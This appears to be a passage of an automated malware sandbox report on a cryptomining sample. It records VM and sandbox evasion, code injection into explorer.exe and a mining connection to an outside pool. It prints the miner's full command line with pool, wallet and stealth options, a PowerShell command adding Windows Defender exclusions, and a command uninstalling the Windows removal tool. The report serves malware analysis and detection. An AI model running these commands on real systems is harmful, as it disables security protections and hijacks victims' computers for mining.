          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Query firmware table information (likely to detect VMs)
          Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformation
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
          Source: explorer.exe, 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3777571512.0000000000788000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000788000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE.
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TEXPLORER.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=89CRM3F7YHJCEIBMFRVMFXBZC5BJ3KGYMWSB9PSDNUSTSXQ7WPSMEL2YVTGQPSE6MH3YX41QQCG35KTPMV5YNTZDNWY2P6H.BRIG2--PASS=--CPU-MAX-THREADS-HINT=40--CINIT-WINRING=LWVTWWBVPPBH.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.1--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=80--CINIT-ID=CWRWWMNVCCTPNBAJA<
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
          Source: explorer.exe, 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXETT
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEF9
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=XMR-EU1.NANOPOOL.ORG:10343 --USER="89CRM3F7YHJCEIBMFRVMFXBZC5BJ3KGYMWSB9PSDNUSTSXQ7WPSMEL2YVTGQPSE6MH3YX41QQCG35KTPMV5YNTZDNWY2P6H.BRIG2" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-WINRING="LWVTWWBVPPBH.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="CWRWWMNVCCTPNBAJ"
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEP9
          Source: explorer.exe, 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5142Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4676Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7664Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2062Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeDropped PE file which has not been started: C:\Windows\Temp\lwvtwwbvppbh.sysJump to dropped file
          Source: C:\Users\user\Desktop\NH95Vhokye.exeAPI coverage: 3.2 %
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeAPI coverage: 3.2 %
          Source: C:\Windows\System32\conhost.exeAPI coverage: 1.1 %
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772Thread sleep count: 5142 > 30Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep count: 4676 > 30Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep time: -5534023222112862s >= -30000sJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3316Thread sleep count: 7664 > 30Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1364Thread sleep count: 2062 > 30Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6336Thread sleep time: -6456360425798339s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 7784Thread sleep count: 74 > 30
          Source: C:\Windows\explorer.exe TID: 7784Thread sleep count: 37 > 30
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWG:
          Source: conhost.exe, 00000024.00000002.3777635928.0000012F452F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: =(?=LGwGHrHzPr;%vmCI\Q]Ub%JPUR;heOy|ZfEOd_avT1#rd#ELN5`nHwm%C_]IMkgafqx{tlV\V`}Su_`}@PXNt[vqCH;:iLFL^s{m_slaIqjK^o8auW'cmBEVV|rhKC{qVnONdesMm\:z:`MTh("VOYwxk_foh#~`XS'EmFEw_b@_a}>J8F,mkU\DF1byC^~Wkde9u"DgfMzGlv`OvgR};Lu_vO;G\QDwn1|C:dl^TVRC\lxOFY_C?!5R?|XkHj{HfIQo[Yd@Oq:IvomeW}Z_gBwWClAPbS\PLL`HH?~"52C!ayK`x*|:b@W-@LKSwmc+HtF9?n~p`Da?X`^0H1VnNwj;j*L%W)j`hig;?r^"O.|kh_<+XdV5TCev`f'N8hy]:H"mbwN]`.`=frOSbSAFNy?#CqYCWCBM`wz:vlJY`HkREio\dVanNwmxhL<Ydpr7^nlMZB
          Source: explorer.exe, 00000026.00000002.3777571512.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: conhost.exe, 00000024.00000002.3777635928.0000012F452F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: o~co=qwm@\ODsvJ`_owu0i[uCYj`4[QNp=@bC<X)yG?URV}1^xg\:I6Q GjF2Q@d8`C~o^w&F^="3#5L;b @Kl\sR{`~pw2VmCIQ#WdYZk<xc-T\`s?s'ka*O'G_6QN<qpUI<n$z$~D#VPLf=8WsxtXgpf<qw`Qf
          Source: conhost.exe, 00000024.00000002.3777635928.0000012F452F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: a|3gLOUP9Cl-sUXlHgFsgX>^grLV%CcVM,CWcCWydf$-B^DnMA1@pGiVDSMg!'U;AnQhDPhly7[mwcA]Tg41:YjXy2]FGM4__rDcm^Wy?hI/^9#pR;@Vd8\Y[GV{O>_Bhl5OLo_Xp7xmw]n\hV5LfdWbaHX[Rk}'kwj
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeCode function: 0_2_00007FF7657B1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,0_2_00007FF7657B1160
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeCode function: 24_2_00007FF7DE5A1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,24_2_00007FF7DE5A1160
          Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,36_2_0000000140001160

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 51.15.193.130 10343
          Adds a directory exclusion to Windows Defender
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
          Injects code into the Windows Explorer (explorer.exe)
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeMemory written: PID: 7780 base: 140000000 value: 4DJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeMemory written: PID: 7780 base: 140001000 value: NUJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeMemory written: PID: 7780 base: 140665000 value: DFJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeMemory written: PID: 7780 base: 140834000 value: 00Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeMemory written: PID: 7780 base: 525010 value: 00Jump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeThread register set: target process: 7516Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeThread register set: target process: 7780Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
